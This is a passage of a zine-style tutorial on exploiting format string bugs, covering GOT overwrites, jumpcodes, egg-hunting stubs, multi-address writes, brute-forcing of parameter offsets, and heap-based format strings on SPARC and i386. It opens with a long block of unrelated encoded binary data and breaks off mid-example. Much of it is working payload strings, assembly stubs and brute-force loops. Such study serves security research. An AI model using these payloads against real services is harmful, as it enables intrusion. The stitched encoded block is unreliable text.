M$,W">F8N"T.R=`3$+!1:ZY!F:,4^\Z1.@1V2CI!9S?/>:,GC4"X;#)W@K3[' M'=F\POL,[22==Y;IM^2T6MPHEM-Q+61&:%>QZ#!%H[+7^M0,4\]2HAX332$V MO2F38$S:Y01#:369-A9W7)MW@U=;%Z/:FB3;1AF$P(L:P]2#1MY01DW9]6'7 MXPVF"\DL/;`_7U'S$PYAYE!D3:1E@ M*.R/2,;_[N9N#_P9/#_MPX`N(+_;[;J+2O_J=>)_V_=\_]W\N3R M_]HS]_1-Y^#H]/"X?58B*(O9B"SDK8S#2T:(V]45T]42C&U_VJ%5F.,$@53( M"R<8,GRKU6OP2\B8'U[8P1)$$#30FJ0EK@22*IAC/$UP4Y-SDM'YPUCDZ@[&!MJI`8D8,>68;^H;MG7!\N_/)[/H!@E<(X=T\,W)S\< MMWET(9G2"1F[='#X8P?-,ANF2AN21:^[,A77*6 M<2ZHB]<]']&$^!-&-&%.U@$UL9R5I35(7W!W>%78Y\NWPX M&H_<)/)6+)YL%!O<=UESGH:R<6=<?+ M]E^M%NG_6K7MQCW_=Q=/+O^W+`!TMEAQF?`P)3;L>?&CW1J2`OF#: MW?0K.IKL(P+VFSMW0A3)O3&70].)7CK0=8884D[Y#,S_(?=DJ,55?+YK88X) M=3U,![H>2IAK7>SQXS\2X3IC_SMJT=M98ZOPG[::S83]1VNS>;__[^3)V_]. M4)8-XET)@50Y.VAV,+(!2E!*!^R`(^%D`C4_HZ`A8)"D5G<=N>'XU?' M)S\=(SRE23L]_#M]AI<(ER+O]XOO3X%7\I*>OWZ53'IY]/+$2S@[>?'*3_CE MS>NCXU=%-ZZ'>GMZ!)S7RW;I,PTD_O,,W>)Q)/#'=TI7?[/_1GA^_.4'<2Z^)R,_X*47`I`XGJ\_8X3DW40Y M&&TH=^D6A'L83D*RJ)X<*%ZK-MP*.B=9PWR/X>K-F'!%4Z"<]3*HM19GO,;] MG:R'(06DDSVJ2F,,\PX+XD7G]>%Q*=%EA\02Y=]8"]2:.A'K:;9C5D=BODIV ML?`J1B=&C-$X9H-BMD<<=_`=O3)8#RLX/3>43FSUU"R8XG\$)Z53371K;W5E*B;-.K4$_AG2Q2BQ#B4?$YZ`9['?^ MN']@#@&U+B_(2X\<$ON"*&`AD,FEC?0N"+E291R2)#X!]H3.4P>@@*Y93.%* MG$^':_3!73WHAV[!*@J9=U7WMKK^S&*..BM05]7\A02V>08TC!JP>Q;'B,N+ MP`I3M+#J!DO5JK/JNQ@'YB>+[P[C\X#]Y/TK3(T*PJ`*Y#);V(878814-1Q? MRWJ-^TK8`PI0%.BM@-$"+B<(*Z[79%6'O8EIT5IYEH+:)+\A9!YV6TJM*[F% M\9N6!!W!VAF!1S#YAL%'`C?V".-_.$R;(TE$)`F25SK6"UYV69DF=M-)!*[Y;*/_V.O!TO_J(C:'U_T MA]$X5/^8#"-R>L,68@/^P!V_2:P.9;^``;OWGY^I(%>K![6A5ET M",Z"@#RYC>E;$>\7>AL`H_RJVHBWSWE.OJ=/P.X57@U_#]P*4B%B74(+0&M2"3HB`YGC(L1 M$*A,F^!SX$A&/WH=^6B&'J@QN2XMQN/K!\ZN#Q_U,Y_PAWQ6@)S((R2AZ)SYZY3^C+`PVL8_U>//R)X60RK9@83>2HRY&A M!@N4\U>YOHF5Q!_.>$%P=DE4"(2+.68!.0)@9\H+[PV>*\:?JF0RZO*T)U`*6$9XMFG./ MNW/9#79+`VNV,,) M*W8QH4-R7C=``HN-0FF)85$$\JQC@YI#KE.Z*^&5NQ?W8X$'D[;)ZX MHGM9\X)_>-QM1968_RPKW>^[TR9DR/]<0="MO&.5_7<=9?YD_['5J-<(_ZFU MU;R7_]W%H^,_OWI]=/9F/QD`VDM5MQ3^F043?W)$:$PFE;V7:@(\YT2.=KD- M*4+7W-L(_IP1U#D5]YDZ\?SP[T?'ZF"_O2^X]C^<'IZI@D6L%_5"AGY#+-B2 MR6+3EZ&&0*V#L3$0UV`Q0""MB/Z!0A/7-]BEMM`/#Q`?C1U9D9,.ZZ[#?<=IVPNF@)6(F4/971$@,;%K0.YBPE9[:DY?;2Q5(1K!/Q MM*'(J=L2+6LW:+2K12>M%983P!>\)>-%,K*H+SJ*=&9U4JH1L*(($RUN4[JF MLV0\B46>C`1_L+I#&N'$L898[=(GL-`I:\+$;2&CNQ-HOX-I?'MO9 M3C=TD7]D1W?.*:@#)ONM$RNH::&QEOA<+J!@7L1Z@1OGV@3$SC2UJ>?%Q$X( M!/=4'6,K^:7SBP.'GZYBK3YL^=-$\Y;8O#T]:9^@P0>-M8KK, M"JOP75-HF*;`\,\'J+&M3DY*JIAL"%+*)Y.J1F/6Q14UL\/)-A6?;V+U;CB^^J"^6^^K M1\3-/'H&/X"4H4?=QGQ"?OC/BGA3+Q(G6V,0./P,;'J,@-M$MJ#"`RQ.^5+D5K+[L)6(KIBH-E?,0"JB!_UP? MJ_6KZ*M3%J.F2UVYI7YDAC99R@2RC.:EPY^/VIV7^T>O M@:=+.TS!,HGHR+&3;W6EZ0CK6GZ35J254WY+&662U8T;K''_B?VZID#"#B`9 MS2G]!>835*:#L]T(.4[.;.!+*@!IH)SC_2:Z8FXQV]O9?=M2UUK@T6BX)'8H M_9V8%'=`,YQGLPK=U)%6P-TIP#/[G*S!CRO';J%KO1E]4L`?.>M>SDI8Y1T&S'FT\8AMMOVB)`F5 MD`"I1A*$3B]8[).)O,[$TK-ZATS%A+S$W<=.5%2QM]/?&>P,Q[.KTR+;1!^> MO.0QUY&&NTYXX4>]1SM:".[PZ]`LM">B[`$L]6&IZ&0G[*7]N,./^GZ3O+RR M6L1P]I2;W<[`;X?N&WD=H\SEW1IR&>[QXB_/XEJ1^^GTDG/\;CHG`I)/0M-<2D/T4<%LBZ4[=M.:S]<7;^J( M]..%]NI.ZR&Y0_8X]106*3\%Y/]O'?`K\:RR_V\UMHC_W]R"JT`=\5\;M<9] M_-<[>?[G:YZ`_D_I]6),#'KTD(B(V/M(TSX9(RW#@&?2I=/PU&M_6\6 M7E6RGBGQ%Y*`X/[7P&Q_UCMNBO^XU6BT:IM-VO^UQCW^XUT\[OR3$NI/>,D")P@6%.H7V]X<=%.R\/CP] MZ[1/3EZ_@GN\51+GY>/]LVXE0`+!`_?2TXHZ+Q?PEM8=33'AO*Q.'=T%%CUV MRE;4N$R7NK$N3RE4Q6AMYQ,$3B1QMTC?#;*,JV1`$4]"RV!1E_*4%O@.`F&D MYDFC8*Q$I/0(;I75:E4K'(@G364A/\C\6W:M-?79$1%TYDK"44M'-2*9VTU( MT@U;7V&C3T'MB'R#$=?GS=:]W/Z_\G'I/YLEW/X[5O+_!O]EJ[;9VD+\Y_KF M/?[+G3S:_J?S]O3HQ\[KHS,@!H80NXF:G&OI=)&XA:(QN#`./[\:SP7'GD0L M2.1O#T2>[4RXRIK%D-^P7E%,=U..14EAHM+J5R2'G@PP517^&E8\$DH$V!<; ;9]9R2:D_/O<$]/ZY?^Z?O];S?S5, riq ]=---------=| 1 - Intro Part I 2 - Bruteforcing format strings 3 - 32*32 == 32 - Using jumpcodes 3.1 - write code in any known address 3.2 - the code is somewhere else 3.3 - friendly functions 3.4 - no weird addresses 4 - n times faster 4.1 - multiple address overwrite 4.2 - multiple parameters bruteforcing Part II 5 - Exploiting heap based format strings 6 - the SPARC stack 7 - the trick 7.1 - example 1 7.2 - example 2 7.3 - example 3 7.4 - example 4 8 - building the 4-bytes-write-anything-anywhere primitive 8.1 - example 5 9 - the i386 stack 9.1 - example 6 9.2 - example 7 - the pointer generator 10 - conclusions 10.1 - is it dangerous to overwrite the l0 (on the stack frame) ? 10.2 - is it dangerous to overwrite the ebp (on the stack frame) ? 10.3 - is this reliable ? The End 11 - more greets and thanks 12 - References --[ 1. Intro Is there anything else to say about format strings after all this time? probably yes, or at least we are trying... To start with, go get scut's excellent paper on format strings [1] and read it. This text deals with 2 different subjects. The first is about different tiny tricks that may help speeding up bruteforcing when exploiting format strings bugs, and the second is about exploting heap based format strings bugs. So fasten your seatbelts, the trip has just begun. --[ Part I - by gera --[ 2. Bruteforcing format strings "...Bruteforcing is not a very happy term, and doesn't make justice for a lot of exploit writers, as most of the time a lot of brain power is used to solve the problem in better ways than just brute force..." My greets to all those artists who inspired this phrase, specially ~{MaXX,dvorak,Scrippie}, scut[], lg(zip) and lorian+k. --[ 3. 32*32 == 32 - Using jumpcodes Ok, first things first... A format string lets you, after dealing with it, write what you want where you want... I like to call this a write-anything-anywhere primitive, and the trick described here can be used whenever you have a write-anything-anywhere primitive, be it a format string, an overflow over the "destination pointer of a strcpy()", several free()s in a row, a ret2memcpy buffer overflow, etc. Scut[1], shock[2], and others[3][4] explain several methods to hook the execution flow using a write-anything-anywhere primitive, namely changing GOT, changing some function pointer, atexit() handlers, erm... a virtual member of a class, etc. When you do so, you need to know, guess or predict 2 different addresses: function pointer's address and shellcode's address, each has 32 bits, and if you go blindly bruteforcing, you'll need to get 64 bits... well, this is not true, suppose GOT's address always starts with, mmm... 0x0804 and that your code will be in, erm... 0x0805... ok, for linux this may even be true, so it's not 64 bits, but 32 total, so it's just 4,294,967,296 tries... well, no, because you may be able to provide a cushion of 4K nops, so it goes down to 1,048,576 tries, and as GOT must be walked on 4 bytes steps, it's just 262,144... heh, all theese numbers are just... erm... nonsense. Well, sometimes there are other tricks you can do, use a read primitive to learn something from the target process, or turn a write primitive into a read primitive, or use more nops, or target stack or just hardcode some addresses and go happy with it... But, there is something else you can do, as you are not limited to writing only 4 bytes, you can write more than the address to the shellcode, you can also write the shellcode! ----[ 3.1. write code in any known address Even with a single format string bug you can write not only more than 4, bytes, but you can also write them to different places in memory, so you can choose any known to be writable and executable address, lets say, 0x8051234 (for some target program running on some linux), write some code there, and change the function pointer (GOT, atexit()'s functions, etc) to point it: GOT[read]: 0x8051234 ; of course using read is just ; an example 0x8051234: shellcode What's the difference? Well... shellcode's address is now known, it's always 0x8051234, hence you only have to bruteforce function pointer's address, cutting down the number of bits to 15 in the worst case. Ok, right, you got me... you cannot write a 200 bytes shellcode using this technique with a format string (or can you?), maybe you can write a 30 bytes shellcode, but maybe you only have a few bytes... so, we need a really small jumpcode for this to work. ----[ 3.2. the code is somewhere else I'm pretty sure you'll be able to put the code somewhere in target's memory, in stack or in heap, or somewhere else (!?). If this is the case, we need our jumpcode to locate the shellcode and jump there, what could be really easy, or a little more tricky. If the shellcode is somewhere in stack (in the same format string perhaps?) and if you can, more or less, know how far from the SP it will be when the jumpcode is executed, you can jump relative to the SP with just 8 or 5 bytes: GOT[read]: 0x8051234 0x8051234: add $0x200, %esp ; delta from SP to code jmp *%esp ; just use esp if you can esp+0x200: nops... ; just in case delta is ; not really constant real shellcode ; this is not writen using ; the format string Is the code in heap?, but you don't have the slightest idea where it is? Just follow Kato (this version is 18 bytes, Kato's version is a little longer, but only made of letters, he didn't use a format string though): GOT[read]: 0x8051234 0x8051234: cld mov $0x4f54414a,%eax ; so it doesn find inc %eax ; itself (tx juliano) mov $0x804fff0, %edi ; start searching low ; in memory repne scasl jcxz .-2 ; keep searching! jmp *$edi ; upper case letters ; are ok opcodes. somewhere in heap: 'KATO' ; if you know the alignment 'KKATO' ; one is enough, otherwise 'KKATO' ; make some be found 'KKATO' real shellcode Is it in stack but you don't know where? (10 bytes) GOT[read]: 0x8051234 0x8051234: mov $0x4f54414a,%ebx ; so it doesn find inc %ebx ; itself (tx juliano) pop %eax cmp %ebx, %eax jnz .-3 jmp *$esp somewhere in stack: 'KATO' ; you'll know the alignment real shellcode Something else? ok, you figure your jumpcode yourself :-) But be carefull! 'KATO' may not be a good string, as it's executed and has some side effect. :-) You may even use a jumpcode which copies from stack to heap if the stack is not executable but the heap is. ----[ 3.3. friendly functions When changing GOT you can choose what function pointer you want to use, some functions may be better than others for some targets. For example, if you know that after you changed the function pointer, the buffer containing the shellcode will be free()ed, you can just do: (2 bytes) GOT[free]: 0x8051234 ; using free this time 0x8051234: pop %eax ; discarding real ret addr ret ; jump to free's argument The same may happen with read() if the same buffer with the shellcode is reused to read more from the net, or syslog() or a lot of other functions... Sometimes you may need a jumpcode a little more complex if you need to skip some bytes at the beggining of the shellcode: (7 or 10 bytes) GOT[syslog]: 0x8051234 ; using syslog 0x8051234: pop %eax ; discarding real ret addr pop %eax add $0x50, %eax ; skip some non-code bytes jmp *$eax And if nothing else works, but you can distinguish between a crash and a hung, you can use a jumpcode with an infinite loop that will make the target hung: You bruteforce GOT's address until the server hungs, then you know you have the right address for some GOT entry that works, and you can start bruteforcing the address for the real shellcode. GOT[exit]: 0x8051234 0x8051234: jmp . ; infinite loop ----[ 3.4. no weird addresses As I don't like choosing arbitrary addresses, like 0x8051234, what we can do is something a little different: GOT[free]: &GOT[free]+4 ; point it to next 4 bytes jumpcode ; address is &GOT[free]+4 You don't really know GOT[free]'s address, but on every bruteforcing step you are assuming you know it, then, you can make it point 4 bytes ahead of it, where you can place the jumpcode, i.e. if you assume your GOT[free] is at 0x8049094, your jumpcode will be at 0x8049098, then, you have to write the value 0x8049098 to the address 0x8049094 and the jumpcode to 0x8049098: /* fs1.c * * demo program to show format strings techinques * * specially crafted to feed your brain by gera@corest.com */ int main() { char buf[1000]; strcpy(buf, "\x94\x90\x04\x08" // GOT[free]'s address "\x96\x90\x04\x08" // "\x98\x90\x04\x08" // jumpcode address (2 byte for the demo) "%.37004u" // complete to 0x9098 (0x9098-3*4) "%8$hn" // write 0x9098 to 0x8049094 "%.30572u" // complete to 0x10804 (0x10804-0x9098) "%9$hn" // write 0x0804 to 0x8049096 "%.47956u" // complete to 0x1c358 (0x1c358-0x10804) "%10$hn" // write 5B C3 (pop - ret) to 0x8049098 ); printf(buf); } gera@vaiolent:~/papers/gera$ make fs1 cc fs1.c -o fs1 gera@vaiolent:~/papers/gera$ gdb fs1 (gdb) br main Breakpoint 1 at 0x8048439 (gdb) r Breakpoint 1, 0x08048439 in main () (gdb) n ...0000000000000... (gdb) x/x 0x8049094 0x8049094: 0x08049098 (gdb) x/2i 0x8049098 0x8049098: pop %eax 0x8049099: ret So, if the address of the GOT entry for free() is 0x8049094, the next time free() is called in the program our little jumpcode will be called instead. This last method has another advantage, it can be used not only on format strings, where you can make every write to a different address, but it can also be used with any write-anything-anywhere primitive, like a "destination pointer of strcpy()" overwrite, or a ret2memcpy buffer overflow. Or if you are as lucky [or clever] as lorian, you may even do it with a single free() bug, as he teached me to do. --[ 4. n times faster ----[ 4.1. multiple address overwrite If you can write more than 4 bytes, you can not only put the shellcode or jumpcode where you know it is, you can also change several pointers at the same time, speeding up things again. Of course this can be done, again, with any write-anything-anywhere primitive which let's you write more than just 4 bytes, and, as we are going to write the same values to all the pointers, there is a cheap way to do it with format strings. Suppose we are using the following format string to write 0x12345678 at the address 0x08049094: "\x94\x90\x04\x08" // the address to write the first 2 bytes "AAAA" // space for 2nd %.u "\x96\x90\x04\x08" // the address for the next 2 bytes "%08x%08x%08x%08x%08x%08x" // pop 6 arguments "%.22076u" // complete to 0x5678 (0x5678-4-4-4-6*8) "%hn" // write 0x5678 to 0x8049094 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%hn" // write 0x1234 to 0x8049096 As %hn does not add characters to the output string, we can write the same value to several locations without having to add more padding. For example, to turn this format string into one that writes the value 0x12345678 to 5 consecutive words starting in 0x8049094 we can use: "\x94\x90\x04\x08" // addresses where to write 0x5678 "\x98\x90\x04\x08" // "\x9c\x90\x04\x08" // "\xa0\x90\x04\x08" // "\xa4\x90\x04\x08" // "AAAA" // space for 2nd %.u "\x96\x90\x04\x08" // addresses for 0x1234 "\x9a\x90\x04\x08" // "\x9e\x90\x04\x08" // "\xa2\x90\x04\x08" // "\xa6\x90\x04\x08" // "%08x%08x%08x%08x%08x%08x" // pop 6 arguments "%.22044u" // complete to 0x5678: 0x5678-(5+1+5)*4-6*8 "%hn" // write 0x5678 to 0x8049094 "%hn" // write 0x5678 to 0x8049098 "%hn" // write 0x5678 to 0x804909c "%hn" // write 0x5678 to 0x80490a0 "%hn" // write 0x5678 to 0x80490a4 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%hn" // write 0x1234 to 0x8049096 "%hn" // write 0x1234 to 0x804909a "%hn" // write 0x1234 to 0x804909e "%hn" // write 0x1234 to 0x80490a2 "%hn" // write 0x1234 to 0x80490a6 Or the equivalent using direct parameter access. "\x94\x90\x04\x08" // addresses where to write 0x5678 "\x98\x90\x04\x08" // "\x9c\x90\x04\x08" // "\xa0\x90\x04\x08" // "\xa4\x90\x04\x08" // "\x96\x90\x04\x08" // addresses for 0x1234 "\x9a\x90\x04\x08" // "\x9e\x90\x04\x08" // "\xa2\x90\x04\x08" // "\xa6\x90\x04\x08" // "%.22096u" // complete to 0x5678 (0x5678-5*4-5*4) "%8$hn" // write 0x5678 to 0x8049094 "%9$hn" // write 0x5678 to 0x8049098 "%10$hn" // write 0x5678 to 0x804909c "%11$hn" // write 0x5678 to 0x80490a0 "%12$hn" // write 0x5678 to 0x80490a4 "%.48060u" // complete to 0x11234 (0x11234-0x5678) "%13$hn" // write 0x1234 to 0x8049096 "%14$hn" // write 0x1234 to 0x804909a "%15$hn" // write 0x1234 to 0x804909e "%16$hn" // write 0x1234 to 0x80490a2 "%17$hn" // write 0x1234 to 0x80490a6 In this example, the number of "function pointers" to write at the same time was set arbitrary to 5, but it could have been another number. The real limit depends on the length of the string you can supply, how many arguments you need to pop to get to the addresses if you are not using direct parameter access, if there is a limit for direct parameters access (on Solaris' libraries it's 30, on some Linuxes it's 400, and there may be other variations), etc. If you are going to combine a jumpcode with multiple address overwrite, you need to have in mind that the jumpcode will not be just 4 bytes after the function pointer, but some more, depending on how many addresses you'll overwrite at once. ----[ 4.2. multiple parameter bruteforcing Sometimes you don't know how many parameters you have to pop, or how many to skip with direct parameter access, and you need to try until you hit the right number. Sometimes it's possible to do it in a more inteligent way, specially when it's not a blind format string (did I say it already? go read scut's paper [1]!). But anyway, there may be cases when you don't know how many parameters to skip, and have to find it out trying, as in the next pythonish example: pops = 8 worked = 0 while (not worked): fstring = "\x94\x90\x04\x08" # GOT[free]'s address fstring += "\x96\x90\x04\x08" # fstring += "\x98\x90\x04\x08" # jumpcode address fstring += "%.37004u" # complete to 0x9098 fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094 fstring += "%.30572u" # complete to 0x10804 fstring += "%%%d$hn" % (pops+1) # write 0x0804 to 0x8049096 fstring += "%.47956u" # complete to 0x1c358 fstring += "%%%d$hn" % (pops+2) # write (pop - ret) to 0x8049098 worked = try_with(fstring) pops += 1 In this example, the variable 'pops' is incremented while trying to hit the right number for direct parameter access. If we repeat the target addresses, we can build a format string which lets us increment 'pops' faster. For example, repeating each address 5 times we get a faster bruteforcing: pops = 8 worked = 0 while (not worked): fstring = "\x94\x90\x04\x08" * 5 # GOT[free]'s address fstring += "\x96\x90\x04\x08" * 5 # repeat eddress 5 times fstring += "\x98\x90\x04\x08" * 5 # jumpcode address fstring += "%.37004u" # complete to 0x9098 fstring += "%%%d$hn" % pops # write 0x9098 to 0x8049094 fstring += "%.30572u" # complete to 0x10804 fstring += "%%%d$hn" % (pops+6) # write 0x0804 to 0x8049096 fstring += "%.47956u" # complete to 0x1c358 fstring += "%%%d$hn" % (pops+11) # write (pop - ret) to 0x8049098 worked = try_with(fstring) pops += 5 Hitting any of the 5 copies well be ok, the most copies you can put the better. This is a simple idea, just repeat the addresses. If it's confusing, grab pen and paper and make some drawings, first draw a stack with the format string in it, and some random number of arguments on top of it, and then start doing the bruteforcing manually... it'll be fun! I guarantee it! :-) It may look stupid but may help you some day, you never know... and of course the same could be done without direct parameter access, but it's a little more complicated as you have to recalculate the length for %.u format specifiers on every try. --[ unnamed and unlisted seccion Through this text my only point was: a format string is more than a mere 4-bytes-write-anything-anywhere primitive, it's almost a full write-anything-anywhre primitive, which gives you more posibilities. So far so good, the rest is up to you... --[ Part II - by riq --[ 5. Exploiting heap based format strings Usually the format strings lies on the stack. But there are cases where it is stored on the heap, and you CAN'T see it. Here I present a way to deal with these format strings in a generic way within SPARC (and big-endian machines), and at the end we'll show you how to do the same for little-endian machines. --[ 6. The SPARC stack In the stack you will find stack frames. These stack frames have local variables, registers, pointers to previous stack frames, return addresses, etc. Since with format strings we can see the stack, we are going to study it more carefully. The stack frames in SPARC looks more or less like the following: frame 0 frame 1 frame 2 [ l0 ] +----> [ l0 ] +----> [ l0 ] [ l1 ] | [ l1 ] | [ l1 ] ... | ... | ... [ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ] ... | ... | ... [ i5 ] | [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] And so on... The fp register is a pointer to the caller frame pointer. As you may guess, 'fp' means frame pointer. The temp_N are local variables that are saved in the stack. The frame 1 starts where the frame 0's local variables end, and the frame 2 starts, where the frame 1's local variables end, and so on. All these frames are stored in the stack. So we can see all of these stack frames with our format strings. --[ 7. the trick The trick lies in the fact that every stack frame has a pointer to the previous stack frame. Furthermore, the more pointers to the stack we have, the better. Why ? Because if we have a pointer to our own stack, we can overwrite the address that it points to with any value. --[ 7.1. example 1 Suppose that we want to put the value 0x1234 in frame 1's l0. What we will try to do is to build a format string, whose length is 0x1234, by the time we've reached stack frame 0's fp with a %n. Supposing that the first argument that we see is the frame 0's l0 register, we should have a format string like the following (in python): '%8x' * 8 + # pop the 8 registers 'l' '%8x' * 5 + # pop the first 5 'i' registers '%4640d' + # modify the length of my string (4640 is 0x1220) and... '%n' # I write where fp is pointing (which is frame 1's l0) So, after the format string has been executed, our stack should look like this: frame 0 frame 1 [ l0 ] +----> [ 0x00001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] --[ 7.2. example 2 If we decided on a bigger number, like 0x20001234, we should find 2 pointers that point to the same address in the stack. It should be something like this: frame 0 frame 1 [ l0 ] +----> [ l0 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] | [ i7 ] [ temp 1] ----+ [ temp 1] [ temp 2] [ Note: We are not going to find always 2 pointers that point to the same address, though it is not rare. ] So, our format string should look like this: '%8x' * 8 + # pop the 8 registers 'l' '%8x' * 5 + # pop the first 5 registers 'i' '%4640d' + # modify the length of my format string (4640 is 0x1220) '%n' # I write where fp is pointing (which is frame 1's l0) '%3530d' + # again, I modify the length of the format string '%hn' # and I write again, but only the hi part this time! And we would get the following: frame 0 frame 1 [ l0 ] +----> [ 0x20001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] | [ i7 ] [ temp 1] ----+ [ temp 1] [ temp 2] --[ 7.3. example 3 In the case that we only have 1 pointer, we can get the same result by using the 'direct parameter access' in the format string, with %argument_number$, where 'argument_number' is a number between 0 and 30 (in Solaris). My format string should be the following: '%4640d' + # change the length '%15$n' + # I write where argument 15 is pointing (arg 15 is fp!) '%3530d' + # change the length again '%15$hn' # write again, but only the hi part! Therefore, we would arrive at the same result: frame 0 frame 1 [ l0 ] +----> [ 0x20001234 ] [ l1 ] | [ l1 ] ... | ... [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] ... | ... [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] [ temp 1] [ temp 1] [ temp 2] --[ 7.4. example 4 But it could well happen that I don't have 2 pointers that point to the same address in the stack, and the first address that points to the stack is outside the scope of the first 30 arguments. What could I then do ? Remember that with plain '%n', you can write very large numbers, like 0x00028000 and higher. You should also keep in mind that the binary's PLT is usually located in very low addresses, like 0x0002????. So, with just one pointer that points to the stack, you can get a pointer that points to the binary's PLT. I don't believe a graphic is necessary in this example. --[ 8. builind the 4-bytes-write-anything-anywhere primitive --[ 8.1. example 5 In order to get a 4-bytes-write-anything-anywhere primitive we should repeat what was done with the stack frame 0, and do it again for another stack frame, like frame 1. Our result should look something like the following: frame 0 frame 1 frame 2 [ l0 ] +----> [0x00029e8c] +----> [0x00029e8e] [ l1 ] | [ l1 ] | [ l1 ] ... | ... | ... [ l7 ] | [ l7 ] | [ l7 ] [ i0 ] | [ i0 ] | [ i0 ] [ i1 ] | [ i1 ] | [ i1 ] ... | ... | ... [ i5 ] | [ i5 ] | [ i5 ] [ fp ] ----+ [ fp ] ----+ [ fp ] [ i7 ] [ i7 ] | [ i7 ] [ temp 1] [ temp 1] | [ temp 2] ----+ [ temp 3] [Note: As long as the code we want to change is located in 0x00029e8c ] So, now that we have 2 pointers, one that points to 0x00029e8c and another that points to 0x00029e8e, we have finally achieved our goal! Now, we can exploit this situation just like any other format string vulnerability :) The format string will look like this: '%4640d' + # change the length '%15$n' + # with 'direct parameter access' I write the lower part # of frame 1's l0 '%3530d' + # change the length again '%15$hn' + # overwrite the higher part '%9876d' + # change the length '%18$hn' + # And write like any format string exploit! '%8x' * 13+ # pop 13 arguments (from argument 15) '%6789d' + # change length '%n' + # write lower part '%8x' + # pop '%1122d' + # modify length '%hn' + # write higher part '%2211d' + # modify length '%hn' # And write, again, like any format string exploit. As you can see, this was done with just one format string. But this is not always possible. If we can't build 2 pointers, what we need to do, is to abuse the format string twice. First, we build a pointer that points to 0x00029e8c. Then, we overwrite the value that 0x00029e8c points to with '%hn'. The second time in which we abuse of the format string, we do the same as we did before, but with a pointer to 0x00029e8e. There is no real need for two pointers (0x00029e8c and 0x00029e8e), as writing first the lower part with %n and then the higher part with %hn will work, but you'll have to use the same pointer twice, only possible with direct parameter access. --[ 9. the i386 stack We can also, exploit a heap based format strings in the i386 arquitecture using a very similar technique. Lets see how the i386 stack works. frame 0 frame 1 frame 2 frame 3 [ ebp ] ---> [ ebp ] ---> [ ebp ] ---> [ ebp ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] [ ... ] As you can see, i386's stack is very similar to SPARC's, the main difference is that all the addresses are stored in little-endian format. frame0 frame1 [ LSB | MSB ] ---> [ LSB | MSB ] [ ] [ ] So, the trick we were using in SPARC of overwriting address's LSB with '%n', and then overwriting its MSB with '%hn' with just one pointer won't work in this architecture. We need an additional pointer, pointing to MSB's address, in order to change it. Something like this: +----------------------------+ | | | V [LSB | MSB] | [LSB | MSB] ---> [LSB | MSB] [ ] | [ ] [ ] [ ] -+ [ ] [ ] [ ... ] [ ... ] [ ... ] Frame B Frame C Frame D Heh! as you probably guessed, this is not very common on everyday stacks, so, what we are going to do, is build the pointers we need, and then, of course, use them. Warning! We just found out that this technique does not work on latest Linuxes, we are not even sure if works on any (it depends on libc/glibc version), but we know it works, at least, on OpenBSD, FreeBSD and Solaris x86). --[ 9.1. example 6 This trick will need an aditional frame... latter we'll try to get rid of as many frames as possible. +----------------------------+ | | | V [LSB | MSB] ---> [LSB | MSB] -+ [LSB | MSB] ---> [LSB | MSB] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C Frame D Frame A has a pointer to Frame B. Specifically, it's pointing to Frame B's ebp. So we can modify the LSB of Frame B's ebp, with an '%hn'. And that is what we wanted!. Now Frame B is not pointing to Frame C, but to the MSB of Frame D's ebp. We are abusing the fact that ebp is already pointing to the stack, and we assume that changing its 2 LSB will be enough to make it point to another frame's saved ebp. There may be some problems with this (if Frame D is not on the same 64k "segment" of Frame C), but we'll get rid of this problem in the following examples. So with 4 stack frames, we could build one pointer in the stack, and with that pointer we could write 2 bytes anywhere in memory. If we have 8 stack frames we could repeat the process and build 2 pointers in the stack, allowing us to write 4 bytes anywhere in memory. --[ 9.2. example 7 - the pointer generator There are cases where you don't have 8 (or 4) stack frames. What can we do then? Well, using direct parameter access, we could use just 3 stack frames to do everything, and not only a 4-bytes-write-anything-anywhere primitive but almost a full write-anything-anywhere primitive. Lets see how we can do it, heavily abusing direct parameter access, our target? to build the address 0xdfbfddf0 in the stack, so we can use it latter with another %hn to write there. step 1: Frame B's saved frame pointer (saved ebp) is already pointing to Frame C's saved ebp, so, the first thing we are going to do is change Frame's C LSB: [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ LSB | MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C Since we know where in the stack is Frame B, we could use direct parameter access to access parameters out of order... and probably not just once. Latter we'll see how to find the direct parameter access number we need, right now lets just assume Frame B's is 14. # step 1 '%.56816u' + # change the length (we want to write 0xddf0) '%14$hn' + # Write where argument 14 is pointing # (arg 14 is Frame B's ebp) What we get is a modified Frame C's ebp. step 2: [ LSB | MSB ] ---> [ LSB | MSB ] ---> [ ddf0| MSB ] [ ] [ ] [ ] [ ] [ ] [ ] [ ... ] [ ... ] [ ... ] Frame A Frame B Frame C As Frame A's ebp is already pointing to Frame B's ebp, we can use it to change the LSB of Frame B's ebp, and as it is already pointing to Frame C's ebp's LSB we can make it point to Frame C's ebp's MSB, we won't have the 64k segments problem this time, as Frame C's ebp's LSB must be in the same segment as its MSB, as it's always 4 bytes aligned... I know it's confusing... For example if Frame C is at 0xdfbfdd6c, we will want to make Frame B's ebp to point to 0xdfbfdd6e, so we can write target address' MSB. # step 2 